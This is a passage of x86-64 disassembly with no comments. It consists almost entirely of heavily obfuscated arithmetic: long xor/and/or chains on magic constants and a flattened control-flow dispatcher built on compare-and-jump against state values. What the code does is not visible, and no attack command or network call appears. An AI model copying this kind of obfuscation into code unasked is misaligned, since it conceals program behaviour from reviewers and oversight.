xor r11d, 0xf7bc1db4
mov eax, r14d
or eax, 0xe66cfdeb
mov edx, eax
xor edx, 0xee6fffeb
mov ecx, r14d
and ecx, 0x19930214
xor ecx, 0x8030200
mov esi, r14d
xor esi, 0x11d0e05f
or esi, ecx
mov ecx, esi
not ecx
and ecx, edx
and eax, 0xc2df5143
and edx, 0x19000214
or edx, eax
xor edx, esi
mov eax, ecx
xor eax, edx
xor eax, 0x3db0aebc
xor edx, 0x19900214
and edx, ecx
mov ecx, eax
and ecx, 0xe66cfdeb
and eax, 0x19930214
or eax, edx
or eax, ecx
mov ebx, eax
and ebx, 0xecc1695
mov r13d, eax
xor r13d, 0xe8a0eb7e
mov r15d, ebx
xor r15d, 0xf9b3eb7e
mov esi, eax
xor esi, 0x175f1481
mov edi, ebx
xor edi, 0x844653a6
and edi, r15d
or ebx, 0x820a4727
mov edx, eax
or edx, 0x7df5b8d8
xor edx, 0x7fffbcd9
mov ecx, eax
xor ecx, 0x6aaaac59
and ecx, r13d
or ecx, edx
mov edx, ebx
and edx, 0x888217a6
and eax, 0x4440010
or eax, edx
xor ebx, 0x864e57a7
and ebx, edi
and edi, 0xecc5695
xor edi, eax
xor edi, 0x4441684
or ebx, edi
xor ebx, ecx
or esi, r15d
mov eax, esi
and eax, 0xecc1695
xor eax, ebx
xor eax, 0xecc1695
not esi
and esi, ebx
or esi, eax
mov eax, esi
and eax, 0x3d6ad4f5
mov r15d, esi
and r15d, 0xc2940808
mov edi, esi
or edi, 0xc2952b0a
mov ebx, esi
and ebx, 0xc2952b0a
mov r13d, eax
xor r13d, 0x1501f783
and r13d, edi
xor eax, 0x3d6ad4f5
mov ecx, eax
and ecx, 0x354014c4
and edi, 0x4a2ee339
or edi, ecx
or eax, ebx
xor edi, ebx
not ebx
mov ecx, esi
or ecx, 0xeaff2b7e
and ebx, 0x286b2376
or ebx, r15d
mov edx, ecx
and edx, 0x8febd69e
and esi, 0x10000001
or esi, edx
not ecx
and ecx, r13d
and r13d, 0x3d6af7f5
xor r13d, esi
xor r13d, 0x9fead69d
or ecx, r13d
xor ecx, ebx
xor edi, 0xb5d11cc6
and edi, eax
or edi, ecx
mov eax, edi
and eax, 0xd25c9294
or eax, 0x28034442
and edi, 0x2da36d6b
xor edi, eax
mov eax, edi
xor eax, 0x156990b7
mov ecx, edi
xor ecx, 0xea966f48
or ecx, eax
xor edi, 0x60a362d4
and edi, ecx
mov eax, edi
xor eax, 0x8a350d9c
or eax, ecx
xor edi, ecx
xor edi, 0x75caf263
and edi, eax
mov eax, r9d
and eax, 0xbae01e84
mov ecx, r9d
and ecx, 0x451fe17b
or ecx, 0x98801e04
xor ecx, eax
mov eax, r9d
and eax, 0x80000
mov edx, ecx
and edx, 0xb4240811
and ecx, 0x4bd3f7ee
add eax, edx
add eax, 0x52e686
xor eax, ecx
and r9d, 0xf133e96a
mov ebx, r9d
xor r9d, eax
xor eax, 0x9012e802
xor ebx, 0xf133e96a
and ebx, eax
xor r9d, 0x672d077d
or ebx, r9d
mov r15d, ebx
not r15d
and r15d, edi
mov r13d, edi
or r13d, 0x8e000724
mov ecx, edi
and ecx, 0x8e000724
and r9d, 0xc000004
mov esi, ebx
and esi, 0x82000720
or esi, r9d
mov eax, edi
xor eax, 0x8a000104
and eax, ecx
not ecx
mov r9d, r13d
and r9d, 0xfb0fa016
mov edx, ecx
and edx, 0xea028104
or eax, edx
mov edx, edi
and edx, 0xf058c9
or edx, r9d
xor edx, eax
xor edx, 0x11fd79db
mov eax, edi
and eax, 0x609ee042
and r13d, 0x9f611a9d
or r13d, eax
mov eax, edi
and eax, 0x520
and ecx, 0x9f611a9d
add eax, ecx
add eax, 0x609ee042
xor eax, r13d
xor edi, 0x8e000724
or edi, eax
not edi
or edi, edx
mov eax, esi
and eax, 0x6000000
and ebx, 0x71fff8db
or ebx, eax
or esi, 0x262e5009
xor esi, ebx
mov eax, esi
xor eax, 0xa82e572d
xor esi, 0x57d1a8d2
and esi, edi
not edi
and edi, eax
or esi, edi
mov eax, r15d
and eax, 0xc64177d6
or eax, 0x39268801
mov edx, r15d
and edx, 0x39be8829
xor edx, eax
mov eax, edx
xor eax, 0xff67ffd7
mov ecx, esi
xor ecx, 0x39be8829
or ecx, eax
xor edx, esi
xor edx, 0x39268801
and edx, eax
xor edx, ecx
not edx
and esi, r15d
mov eax, esi
and eax, 0xa32261d0
or eax, 0x10999806
mov edi, esi
and edi, 0x5cdd9e2f
xor edi, eax
xor edi, edx
and esi, edx
mov eax, edi
xor eax, esi
xor eax, 0x10999806
xor edi, 0x10999806
and edi, esi
or edi, eax
mov eax, edi
mov r9d, edi
mov edx, edi
mov r13d, edi
mov ecx, edi
and ecx, 0x310718ea
or ecx, 0x6f8a511
mov r15d, edi
and r15d, 0xcef8e715
xor r15d, ecx
mov ecx, r15d
xor ecx, 0xf7cb4c5b
or ecx, edi
xor r15d, edi
and edi, 0x190a9b13
or eax, 0xe6f564ec
and r9d, 0xe6f564ec
mov esi, edi
xor esi, 0xc026d4ea
and esi, eax
or edx, 0xfffd6ffd
mov ebx, edx
and ebx, 0xb0495454
and r13d, 0x28002
or r13d, ebx
not edx
and edx, esi
and esi, 0x592e9bbb
xor esi, r13d
xor esi, 0x304b9016
or edx, esi
xor edx, r9d
xor edx, 0xd92c4ff9
xor edi, 0x190a9b13
mov esi, edi
and esi, 0x21101
and eax, 0xddf8ce1a
or eax, esi
or edi, r9d
xor eax, r9d
xor eax, 0x220731e5
and eax, edi
or eax, edx
mov edx, eax
xor edx, 0x190a9b13
xor eax, 0x17c68da6
or eax, edx
xor r15d, 0x834b3a4
and r15d, ecx
mov ecx, eax
not ecx
and ecx, r15d
xor r15d, eax
xor r15d, ecx
mov edx, r14d
xor edx, 0x843e24b
mov ebx, r14d
mov r9d, r14d
mov r13d, r14d
mov ecx, r14d
and ecx, 0xf4e5e31e
xor r14d, 0x359feaa
and r14d, r11d
mov edi, ecx
xor edi, r14d
xor edi, 0x41e20a
xor ecx, 0x41e20a
and ecx, r14d
or ecx, edi
mov eax, ecx
xor eax, 0x6653709e
and eax, edx
or edx, r11d
and r12d, 0x82000820
and ebx, 0x1098338a
or ebx, r12d
and r9d, 0x6d67c455
or r9d, ebx
mov edi, r9d
xor edi, 0x6524261e
mov ebx, edx
and ebx, 0x6d67c455
xor r13d, edx
and edx, 0x92983baa
or edx, 0x64244445
xor edx, ebx
mov ebx, edx
xor ebx, 0xf6bc7fef
xor r9d, 0x9adbd9e1
and r9d, ebx
xor edx, 0x9438010
and edx, edi
xor r13d, 0xf7bc1db4
or r13d, r11d
not r13d
or r13d, edx
or r13d, r9d
mov ebx, r13d
not ebx
mov edx, r13d
and edx, 0x6d496c7f
mov edi, ecx
xor edi, 0x99ac8f61
and edi, r11d
or edi, eax
xor ecx, edi
xor ecx, 0x6653709e
and ecx, edi
mov eax, r13d
xor eax, 0x5014c23
and eax, edx
and edx, ecx
mov esi, r13d
and esi, 0x5014c23
xor esi, eax
xor esi, 0x85b5cfa3
and eax, 0x5014c23
or eax, esi
mov edi, ecx
and edi, 0x85b5cfa3
or edi, 0x840004c
and ecx, 0x7a4a305c
xor ecx, edi
xor ecx, eax
mov eax, ecx
mov edi, edx
xor edi, ecx
xor edi, 0x720a3010
mov esi, edi
and esi, edx
xor ecx, 0x60082010
and ecx, edx
not edx
xor eax, 0x8df5cfef
and eax, edx
or eax, ecx
xor eax, esi
and ecx, edi
or ecx, eax
mov edi, ebx
and edi, r13d
and r13d, 0x29086950
and ebx, 0xd6f7968f
or ebx, r13d
xor ebx, 0xd6f7968f
and edi, 0xffffffdf
or edi, ebx
mov r9d, ecx
xor r9d, 0x6d496c5f
lea r11d, [rdi + 0x20]
mov eax, ecx
xor eax, 0xe8f03d9b
mov esi, ecx
xor esi, 0x92b693a0
or esi, eax
mov ebx, ecx
or ebx, 0x7a46ae3b
xor ebx, 0x7f4fee7f
or eax, ebx
mov r14d, edi
and r14d, 0x85b951c4
mov edx, edi
xor edx, 0x85b951e4
or edx, r14d
not esi
and esi, ebx
xor esi, eax
mov eax, edx
and eax, 0xffffffdf
mov ebx, eax
xor ebx, 0x6727c902
xor edi, 0x291100
and edi, r14d
mov r12d, ebx
xor eax, 0xffffffdf
mov r13d, eax
and r13d, 0x1bcc4c01
and ebx, 0xe433b3de
or ebx, r13d
or eax, r14d
xor ebx, r14d
or r14d, 0x8594c8c6
xor edi, r14d
or r12d, 0x8594c8c6
or edx, 0x7a6b3739
xor edx, r12d
mov r14d, edx
xor r14d, 0x81000
and r14d, edi
not edi
xor edx, 0xe7b341e4
and edx, edi
or edx, r14d
xor ebx, 0x7fefcd03
and ebx, eax
or ebx, edx
mov eax, esi
xor eax, 0x1ac5778a
mov edx, ebx
and edx, 0xe53a8875
or edx, 0x8453780
and ebx, 0x1ac5778a
xor ebx, edx
mov edx, ebx
xor edx, 0xed7fbff5
xor esi, 0xe53a8875
and esi, edx
xor ebx, 0x1280400a
and ebx, eax
or ebx, esi
and r9d, r11d
xor ecx, r11d
xor ecx, 0x6d496c5f
or ecx, r9d
mov eax, ebx
and eax, 0x5bce1f7c
xor eax, ecx
mov edx, ebx
xor edx, ecx
not ecx
or ecx, ebx
and ebx, 0xa431e083
or ebx, 0x1ac01b00
xor eax, ebx
and ecx, edx
mov edx, eax
xor edx, ecx
xor edx, 0xe53fe4ff
xor eax, 0xe53fe4ff
and eax, ecx
or eax, edx
mov ecx, eax
and ecx, 0x563e2c9a
or ecx, 0x9005300
mov ebx, eax
and ebx, 0xa9c1d365
xor ebx, ecx
mov edx, eax
xor edx, ebx
xor ebx, 0xf6ffacff
or ebx, eax
xor edx, 0x9005300
and ebx, edx
mov ecx, ebx
xor ecx, eax
and ecx, edx
mov edx, eax
and edx, 0xa4a3d9c2
and eax, 0x5b5c263d
or eax, 0xa0a01800
xor eax, edx
mov edx, eax
xor edx, 0xfbfc3e3d
mov edi, ebx
and edi, 0xa4a3d9c2
or edi, 0x4354221d
and ebx, 0x5b5c263d
xor ebx, edi
mov edi, ebx
xor edi, 0xe7f7fbdf
xor eax, 0x403c1c2
and eax, edi
xor ebx, 0x18080420
and ebx, edx
or ebx, ecx
or ebx, eax
mov ecx, ebx
not ecx
and ecx, r15d
mov r9d, r15d
xor r9d, ebx
xor r9d, ecx
mov r11d, r15d
and r11d, 0x9903995d
mov ecx, ebx
or ecx, 0x66fc66a2
mov edi, ecx
not edi
mov r14d, ebx
and r14d, 0x66fc66a2
and r15d, 0x66fc66a2
or r15d, 0x98008855
and ecx, 0xae0a6a3c
mov esi, edi
and esi, 0x11019141
or esi, ecx
mov ecx, esi
xor ecx, 0x51f595c3
mov edx, esi
xor esi, 0xae0a6a3c
mov r12d, esi
or esi, r14d
not r14d
xor edx, 0xc263434a
and edx, ecx
and edi, 0x91029009
or edi, edx
mov edx, ebx
and edx, 0x60080022
mov eax, r14d
and eax, 0xc602114
add eax, edx
add eax, 0x3020681
mov edx, ebx
and edx, 0x2944680
xor edx, eax
mov eax, edx
xor eax, 0x630b0ee3
xor edx, 0x9cf4f11c
and edx, edi
not edi
and edi, eax
or edx, edi
and r12d, 0x89021805
and ecx, 0x10ddc158
or ecx, r12d
and ebx, 0x662026a2
and r14d, 0x10ddc158
or r14d, ebx
xor r14d, ecx
not r14d
and r14d, esi
or r14d, edx
xor r14d, r11d
xor r14d, r15d
mov eax, r14d
xor eax, 0x1031108
mov ecx, r9d
xor r14d, 0xfefceef7
and r14d, r9d
xor r9d, 0x6ee49458
mov edx, eax
and edx, 0x6ee49458
and eax, 0x911b6ba7
or eax, 0x26e40458
xor eax, edx
mov edx, eax
xor edx, 0xb7ff6fff
xor ecx, 0x911b6ba7
and ecx, edx
xor eax, 0x48009000
and eax, r9d
or r14d, eax
or r14d, ecx
mov eax, 0x1f53ad1b
jmp 0x1400907c0
cmp eax, 0x58a11e19
je 0x1400907a3
cmp eax, 0x71946ac1
jne 0x1400907c0
mov eax, 0x3117fdc4
jmp 0x1400907c0
cmp eax, 0x22c0f4b1
jne 0x140091253
mov eax, 0x1f53ad1b
mov r14d, dword [rbp + 0x4e8]
jmp 0x1400907c0
mov dword [rbp + 0x4e8], r10d
mov eax, dword [rbp + 0x4e8]
cmp eax, 0x41
setge byte [rbp + 0x4ef]
mov eax, dword [rbp + 0x4c0]
jmp 0x1400907c0
cmp byte [rbp + 0x4ef], 0
mov eax, 0x22c0f4b1
mov ecx, 0x58a11e19
cmovne eax, ecx
jmp 0x1400907c0
cmp eax, 0x1f53ad1b
jne 0x1400907c0
mov eax, r8d
and eax, 0xa06206ca
mov ecx, r8d
and ecx, 0x5f9df935
or ecx, 0x620008
xor ecx, eax
mov edx, ecx
xor edx, 0xff9dfff7
mov ebx, ecx
xor ebx, 0x3c382075
and ebx, edx
mov eax, ecx
and eax, 0xc3a5df82
xor eax, 0x200000
or eax, ebx
xor ecx, 0x620008
or ecx, edx
xor eax, 0xc3a5df82
and eax, ecx
mov edx, eax
and edx, 0x1ba9fcee
mov ecx, eax
xor ecx, 0xa0020200
and ecx, eax
mov ebx, eax
or ebx, 0xe4560311
xor edx, 0xb1aab604
and edx, ebx
mov r11d, eax
or r11d, 0xee574bfb
mov ebx, eax
and ebx, 0xa0020200
xor ebx, 0xaa034aea
and ecx, 0xe4560311
or ecx, ebx
mov ebx, r11d
and ebx, 0x921be1fb
and eax, 0x1a01404
or eax, ebx
not r11d
and r11d, edx
and edx, 0x3ba9feee
xor edx, eax
xor edx, 0x13b9f5ff
or r11d, edx
xor r11d, ecx
mov eax, r11d
and eax, 0x8b181a5c
or eax, 0x34434021
and r11d, 0x74e7e5a3
xor r11d, eax
mov eax, r11d
xor eax, 0x2feabccf
mov ecx, r11d
xor ecx, 0xd0154330
mov edx, r11d
or edx, 0x2769e20a
xor edx, 0xf77de33a
xor r11d, 0xf77ca13a
and r11d, eax
or r11d, edx
or ecx, eax
xor r11d, 0x2769e20a
and r11d, ecx
mov eax, r11d
xor eax, 0x2e69652b
mov ecx, eax
and ecx, 0xe043fd87
or ecx, 0xaa80010
mov r9d, eax
and r9d, 0x1fbc0278
xor r9d, ecx
and eax, 0x2e69652b
mov ecx, eax
xor ecx, r9d
xor ecx, 0x24c1653b
xor r9d, 0x2441652b
and r9d, eax
or r9d, ecx
mov eax, r8d
and eax, 0xfb1401a1
or eax, 0x688008
mov r10d, r8d
and r10d, 0x4ebfe5e
xor r10d, eax
mov eax, r10d
xor eax, 0xbaad4363
or r10d, 0x453a3c94
xor r10d, 0x457abc9c
or r10d, eax
mov eax, r8d
and eax, 0xbac5c36b
mov ecx, r10d
xor ecx, 0x29379af7
mov edx, r8d
and edx, 0x92c04108
or edx, 0x29151af2
mov esi, r8d
and esi, 0x28058263
xor esi, edx
mov edx, esi
xor edx, 0xffdd7ffa
mov edi, r10d
xor edi, 0xd6c86508
and edi, edx
xor esi, 0x228005
and esi, ecx
or esi, edi
mov ecx, r10d
xor ecx, eax
not r10d
or r10d, eax
and r10d, ecx
or r10d, esi
mov eax, r8d
and eax, 0x3e90666b
mov ecx, r8d
and ecx, 0xc16f9994
or ecx, 0x2a106008
xor ecx, eax
xor ecx, r10d
mov eax, r10d
xor eax, r8d
xor eax, 0x94aca640
xor r10d, 0x94aca640
and r10d, r8d
or r10d, eax
mov eax, ecx
xor eax, 0x414339b7
or eax, r10d
xor r10d, ecx
xor r10d, 0xbebcc648
and r10d, eax
mov r15d, r14d
not r15d
mov ecx, r14d
and ecx, 0x437fed4a
mov ebx, r14d
and ebx, 0xbc8012b5
or ebx, 0x4127600a
xor ebx, ecx
xor ebx, 0x2588d40
or ebx, r14d
mov edi, r14d
and edi, 0x25b4148
xor edi, 0xadb43e9
mov eax, r14d
xor eax, 0xbedb53fd
and eax, ecx
mov ecx, ebx
and ecx, 0xadb43e9
and ebx, 0xf524bc16
or ebx, 0x8004140
xor ebx, ecx
mov ecx, eax
not ecx
or ecx, r14d
not ecx
and ecx, 0x25b4148
or eax, edi
or eax, ecx
mov ecx, eax
xor ecx, ebx
xor ecx, 0x4924ed42
and ecx, eax
xor ebx, 0x25b0008
or ebx, eax
xor ebx, ecx
mov eax, ebx
not eax
mov edi, ebx
xor edi, 0x8801225
and edi, eax
mov eax, ebx
or eax, 0x437fed4a
and edi, 0xbc8012b5
mov esi, ebx
and esi, 0x437fed4a
lea r8d, [rsi - 0x4bffff70]
mov edx, ebx
and edx, 0x14000010
mov ecx, eax
and ecx, 0xa0448dc0
or ecx, edx
xor ecx, edi
lea edx, [rcx + 0x1384000]
mov edi, ebx
and edi, 0x28800011
and eax, 0x9729dbac
or eax, edi
xor eax, esi
xor esi, 0x4a83322f
and esi, edx
xor ecx, 0xf647adda
and ecx, r8d
or ecx, esi
xor eax, 0xbfa9dbbd
xor ebx, 0x437fed4a
or ebx, eax
not ebx
or ebx, ecx
mov edx, ebx
xor edx, 0xb735624
mov eax, ebx
or eax, 0xbf61617e
mov ecx, ebx
xor ecx, 0x4bedc8a5
and ecx, edx
mov edx, eax
and edx, 0xab6bb319
and ebx, 0x40940c80
or ebx, edx
xor ebx, ecx
xor ebx, 0xebeda999
xor eax, 0xffede9ff
and eax, ecx
or eax, ebx
mov edx, eax
xor edx, 0xb412375a
mov ecx, eax
and ecx, 0x41963a78
xor ecx, 0x41840820
mov ebx, eax
xor ebx, 0xf5840d22
and ebx, edx
or ebx, ecx
mov edi, ebx
xor edi, 0xbe69c587
mov ecx, ebx
and ecx, 0xc7ae538e
xor ecx, 0x41861208
mov edx, ebx
xor edx, 0x863869f6
or edx, ecx
mov ecx, eax
xor ecx, 0x73bc64d4
xor eax, 0x4bedc8a5
or eax, ecx
and eax, edx
mov ecx, ebx
xor ecx, 0x9000a0ac
and ecx, edi
mov edx, ebx
xor edx, ecx
xor edx, 0x6fff5f53
xor ebx, 0x6fff5f53
and ebx, ecx
or ebx, edx
mov esi, eax
xor esi, 0x1638c95a
mov edx, eax
xor edx, 0xdba443a
and edx, esi
mov ecx, eax
or ecx, 0xe47d729f
mov r8d, ecx
and r8d, 0x160e96b2
mov edi, eax
and edi, 0x9800940
or edi, r8d
xor edi, edx
xor edi, 0xd8e16b2
xor ecx, 0xedff76bf
and ecx, edx
or ecx, edi
xor ecx, ebx
xor eax, ebx
xor eax, 0x1638c95a
and esi, ebx
or esi, eax
mov edi, ecx
xor edi, 0xe47d729f
xor ecx, esi
xor ecx, 0xe47d729f
or edi, esi
not edi
or edi, ecx
mov eax, edi
and eax, 0x6ec3b5e4
or eax, 0x80801
and edi, 0x913c4a1b
or edi, 0x28c13164
xor edi, eax
mov eax, edi
xor eax, 0xd736c69a
mov ecx, edi
or ecx, 0xfb4c88f1
xor ecx, 0xfbcdb9f5
mov edx, edi
xor edx, 0xd385b194
and edx, eax
or edx, ecx
xor edi, edx
xor edx, 0x4b3770e
or edx, eax
xor edi, 0x2c7a4e6b
and edi, edx
or r15d, 0xd1969ad4
mov eax, r14d
and eax, 0x248000a
mov ecx, r15d
and ecx, 0x98b14025
or ecx, eax
mov r8d, r15d
and r8d, 0x25043500
or r8d, ecx
mov eax, r8d
and eax, 0xb2a41504
xor eax, 0x20280c0
xor r8d, 0xf0ec1f1e
or r8d, eax
and r14d, 0x22000528
and r15d, 0x5debeac7
or r15d, r14d
mov eax, r15d
and eax, 0xc49602b
xor eax, 0xc496003
xor r15d, 0x10b280fc
or r15d, eax
mov eax, r8d
and eax, 0xfffdff3f
xor eax, 0x1aaf6d2c
and eax, r8d
mov ecx, r8d
and ecx, 0x1aad6dac
or ecx, 0x24001052
mov edx, r15d
and edx, 0x64400203
or r8d, r15d
and r15d, 0xa296d28
or r15d, 0x64528243
xor r15d, edx
xor r15d, ecx
xor r15d, eax
xor r15d, 0x41429241
not r8d
or r8d, r15d
mov r15d, r10d
mov r14d, r10d
mov esi, r10d
mov ebx, r10d
mov eax, r10d
mov edx, r10d
and edx, 0x100108
mov r13d, r10d
or r13d, 0x3bac76d0
mov ecx, r10d
xor ecx, 0xc453892f
or ecx, r13d
and r13d, 0xfc6bc837
or r13d, edx
mov edx, r10d
xor r13d, r10d
and r10d, 0x8d80cfea
xor r15d, 0x1008060
and r15d, r10d
and r14d, 0x70663010
and esi, 0x2190005
or esi, 0x7c006010
xor esi, r14d
and ebx, 0x1008060
or ebx, 0x4804600
xor ebx, r15d
xor ebx, esi
xor ebx, 0xaff1605
and eax, 0x727f3015
or eax, 0x8000cf62
xor eax, r10d
xor eax, 0xf27fff77
xor edx, 0x8d80cfea
or edx, eax
not edx
or edx, ebx
mov r10d, edx
xor r10d, 0x727f3015
mov eax, edx
xor eax, 0xb62cb93a
and eax, r10d
mov r15d, edx
xor r15d, 0x49d346c5
or r15d, eax
xor r13d, 0x38284010
and r13d, ecx
mov eax, r9d
xor eax, 0x40008000
and eax, r9d
and r11d, 0x40008000
xor r11d, 0x4a849408
and eax, 0x44018902
or eax, r11d
mov ebx, r9d
mov ecx, r9d
mov esi, r9d
and esi, 0x8010000c
and ebx, 0x420021
or ebx, 0x45880090
xor ebx, eax
and ecx, 0x3bac76d0
xor ecx, 0x8afe54bd
xor esi, ebx
xor esi, 0x1a04008
and esi, ecx
xor ebx, 0x41a14902
or ebx, ecx
xor ebx, esi
mov r14d, r15d
mov eax, r15d
and eax, 0xb2e0d7b3
and r14d, 0x4d1f284c
or r14d, 0x22804682
xor r14d, eax
mov ecx, r14d
xor ecx, 0x6f9f6ece
mov eax, r13d
and eax, 0xb2e0d7b3
or eax, 0x45082048
mov r11d, r13d
and r11d, 0x4d1f284c
xor r11d, eax
mov eax, r14d
xor eax, 0x98385838
and eax, ecx
mov ecx, r11d
xor ecx, 0x8170804
mov esi, r11d
xor esi, 0x4fc10d
and esi, ecx
mov ecx, r14d
or ecx, 0x858c909
or r11d, 0xf7a736f6
xor r11d, 0xf7eff7ff
or r11d, esi
mov esi, ecx
and esi, 0x8899f000
and r14d, 0x772606f6
or r14d, esi
mov esi, r15d
xor r14d, eax
xor ecx, 0x9878d939
and ecx, eax
mov r12d, r15d
and esi, 0x9e366bbf
xor esi, r13d
xor r12d, r13d
not r13d
or r13d, r15d
xor r14d, 0x9838d030
or ecx, r14d
mov eax, r9d
xor ecx, r11d
mov r14d, r9d
and r15d, 0x61c99440
or r15d, 0x21040b3
xor esi, r15d
and r13d, r12d
mov r11d, esi
xor r11d, r13d
xor r11d, 0xfdefbf4c
xor esi, 0xfdefbf4c
and esi, r13d
or esi, r11d
mov r11d, esi
and r11d, 0xc0508439
or r11d, 0x892802
and esi, 0x3faf7bc6
xor esi, r11d
mov r11d, esi
xor r11d, 0x892802
mov r15d, ecx
and r15d, 0x4e3f9ca4
mov r12d, r11d
and r12d, 0xb1c0635b
xor r12d, r15d
mov r15d, r11d
xor r11d, ecx
xor esi, 0xff76d7fd
or esi, ecx
and ecx, 0xb1c0635b
or ecx, 0xc081c80
xor r12d, ecx
and r15d, 0x4e3f9ca4
or r15d, 0xb040624a
xor r15d, r12d
xor r15d, 0x43b78135
and esi, r11d
or esi, r15d
mov r11d, esi
not r11d
mov ecx, esi
and ecx, 0x4de1c672
mov r15d, esi
or r15d, 0x4de1c672
mov r12d, r15d
and r12d, 0x26011ca7
and r11d, 0x901e2108
or r11d, r12d
mov r12d, esi
xor r12d, 0x4010422
and r12d, ecx
not ecx
xor r12d, r11d
mov r11d, esi
and r11d, 0x420
xor r15d, ecx
and ecx, 0x26010887
add r11d, ecx
add r11d, 0xd1f0c210
xor r11d, r12d
mov r12d, edx
mov r13d, edx
xor r14d, edx
xor edx, 0x8d80cfea
and edx, r9d
mov ecx, r9d
xor ebx, 0x4de1c672
xor r11d, 0xd1f0d630
xor esi, 0x4de1c672
or esi, r15d
not esi
or esi, r11d
mov r9d, ebx
and r9d, 0xb7fb9257
or r9d, 0x42d28
and ebx, 0x48046da8
xor ebx, r9d
mov r11d, ebx
mov r9d, esi
and r9d, 0xb7fb9257
or r9d, 0x40004d08
and esi, 0x48046da8
xor esi, r9d
mov r9d, esi
xor r9d, 0xf7fbdf5f
xor ebx, 0x48004080
and ebx, r9d
mov r9d, edi
not r9d
xor r11d, 0xb7ffbf7f
xor esi, 0x80420a0
and esi, r11d
mov r11d, r8d
xor r11d, 0xb2a695c4
or esi, ebx
and r12d, 0xa631f20f
xor r12d, 0x8400c20a
xor r13d, 0x2bb13de5
and eax, 0x59ce0df0
or eax, 0x86009003
and ecx, 0xa631f20f
xor ecx, eax
and r12d, r10d
or r12d, r13d
mov ebx, ecx
xor ecx, 0xdfce9df3
and ecx, r12d
not r12d
xor ebx, r12d
xor ebx, 0xdfce9df3
and ebx, r12d
or ecx, ebx
mov eax, r14d
xor eax, 0x8d80cfea
or edx, eax
mov r12d, r14d
xor r12d, 0x727f3015
xor r14d, edx
xor r14d, 0x727f3015
or r12d, edx
not r12d
or r12d, r14d
mov eax, r12d
and eax, 0xcde4750
or eax, 0x21209829
and r12d, 0xf321b8af
xor r12d, eax
mov eax, r12d
xor eax, 0xdedf67d6
and eax, ecx
xor r12d, ecx
xor r12d, 0xdedf67d6
or r12d, eax
mov eax, r12d
and eax, 0xa94c8ce7
lea ecx, [rax + 0x42217110]
xor eax, 0xa94c8ce7
mov edx, ecx
and edx, 0x4804a0a0
mov ebx, r12d
xor ebx, 0x81480c46
and ebx, eax
and eax, 0x20000001
or eax, edx
mov edx, eax
and edx, 0x600080a1
and ecx, 0x8042000
add ecx, edx
add ecx, 0x5021e54
xor ecx, ebx
xor ecx, 0x33805e5d
xor eax, 0x20000001
and eax, ebx
or eax, ecx
and r12d, 0x56b37318
xor r12d, eax
mov eax, r12d
xor eax, 0x283593b1
mov ecx, r12d
xor ecx, 0xd7ca6c4e
and ecx, eax
xor r12d, ecx
xor r12d, 0xd7ca6c4e
or r12d, ecx
mov eax, r12d
and eax, 0xab469b10
or eax, 0x50b0608d
and r12d, 0x54b964ef
xor r12d, eax
mov eax, r12d
xor eax, 0xaf4f9f72
mov ecx, esi
not ecx
and ecx, eax
xor r12d, 0x50b0608d
and r12d, esi
or ecx, r12d
and r12d, eax
and eax, esi
xor ecx, eax
xor r12d, ecx
mov eax, edi
and eax, 0x4093dba5
or eax, 0x3e64205a
mov ecx, edi
and ecx, 0xbf6c245a
xor ecx, eax
mov r15d, ecx
xor r15d, 0xc19bdfa5
mov eax, r8d
xor eax, 0x4d596a3b
xor ecx, 0x3e64205a
mov ebx, ecx
or ebx, r11d
and ecx, eax
and r15d, r11d
or r15d, ecx
xor r15d, ebx
mov r10d, r15d
not r10d
mov eax, edi
and eax, 0xd240d802
or eax, 0x2049
or r9d, 0xde6c8a14
and r9d, 0xff7c8ab4
xor r9d, eax
mov eax, r9d
xor eax, 0xca20210
and edi, 0xcaf275d
lea ecx, [rdi - 0x2dbf27fe]
xor r9d, 0xd754f
and r9d, ecx
xor edi, 0x2d3107b0
and edi, eax
or edi, r9d
mov r9d, r8d
xor r9d, 0x41f64d66
mov eax, r9d
and eax, 0x84a6247d
mov ebx, edi
and ebx, 0x84afa47d
or ebx, 0x29001a80
and edi, 0x7b505b82
and r8d, 0x98000
add eax, r8d
add eax, 0x19105080
and r9d, 0x7b505b82
xor r9d, eax
xor r9d, edi
xor r9d, ebx
mov r14d, r9d
xor r14d, 0xcfefb5ff
mov r11d, r14d
and r11d, 0x260dd63e
mov edi, r9d
and edi, 0xd9f229c1
mov r8d, r10d
mov ebx, r10d
mov r13d, r14d
or r14d, r10d
and r10d, 0x20cc21a
or r10d, 0x332424
and r8d, 0x90c00100
or r8d, 0x10
and ebx, 0x493228c1
or ebx, 0x8080440c
xor ebx, r8d
mov edx, r15d
or edx, 0xdbfeebdb
xor edx, r10d
xor edx, ebx
xor edx, 0xa6beb606
mov esi, r15d
xor esi, 0xd9f229c1
xor r15d, 0x260dd63e
or r15d, esi
not r15d
or r15d, edx
mov edx, r11d
not edx
mov eax, edi
xor eax, 0xefeff7ff
mov ebx, r9d
xor ebx, 0x200c436
and ebx, r11d
mov ecx, edi
xor ecx, 0xcd3d5188
and ecx, eax
or edi, 0xdd2d5988
and r13d, 0x91008
xor r11d, eax
xor eax, edx
and edx, 0xc5044100
add edx, r13d
add edx, 0x2082a441
xor edx, ebx
mov ebx, edi
and ebx, 0x451651c1
and r9d, 0xc02000
or r9d, ebx
xor edi, 0xdd3d5988
and edi, ecx
and ecx, 0xd9fb29c9
xor ecx, r9d
xor ecx, 0x41100180
or edi, ecx
xor edi, edx
xor edi, 0x38abbcc9
or eax, r11d
not eax
or eax, edi
xor eax, r15d
mov ecx, r14d
not ecx
and ecx, eax
xor r14d, eax
xor r14d, ecx
mov esi, r12d
and esi, 0x1f489344
lea eax, [rsi + 0x60b00cb3]
mov ecx, esi
xor ecx, 0x1f489344
mov edx, r12d
and edx, 0xd338e252
or edx, 0x2c47198d
mov ebx, r12d
and ebx, 0x2cc71dad
xor ebx, edx
mov edx, ebx
xor edx, 0x330f8ac9
mov edi, r12d
not edi
xor ebx, 0xccf07536
and ebx, edi
mov r9d, edx
and r9d, r12d
or r9d, ebx
and r9d, edx
mov r10d, r14d
and r10d, 0xe0b76cbb
lea edx, [r10 + 0x1c000300]
mov ebx, r14d
and ebx, 0x1f489344
xor ebx, edx
mov dword [rbp + 0x410], ebx
mov edx, eax
and edx, 0x12086e0
xor r12d, 0x8480104
and r12d, ecx
and ecx, 0x16001000
or ecx, edx
xor ecx, 0x96027819
or r12d, ecx
mov ecx, r12d
xor ecx, 0x8540002
and ecx, 0x8d56825a
mov edx, r12d
and edx, 0x12287da5
or edx, ecx
xor edx, 0xb557ca28
mov r11d, r12d
xor r11d, 0x9722fef9
mov ecx, r11d
and ecx, 0xa001040
or ecx, edx
and eax, 0x55d88b24
xor esi, 0x3569a797
or esi, eax
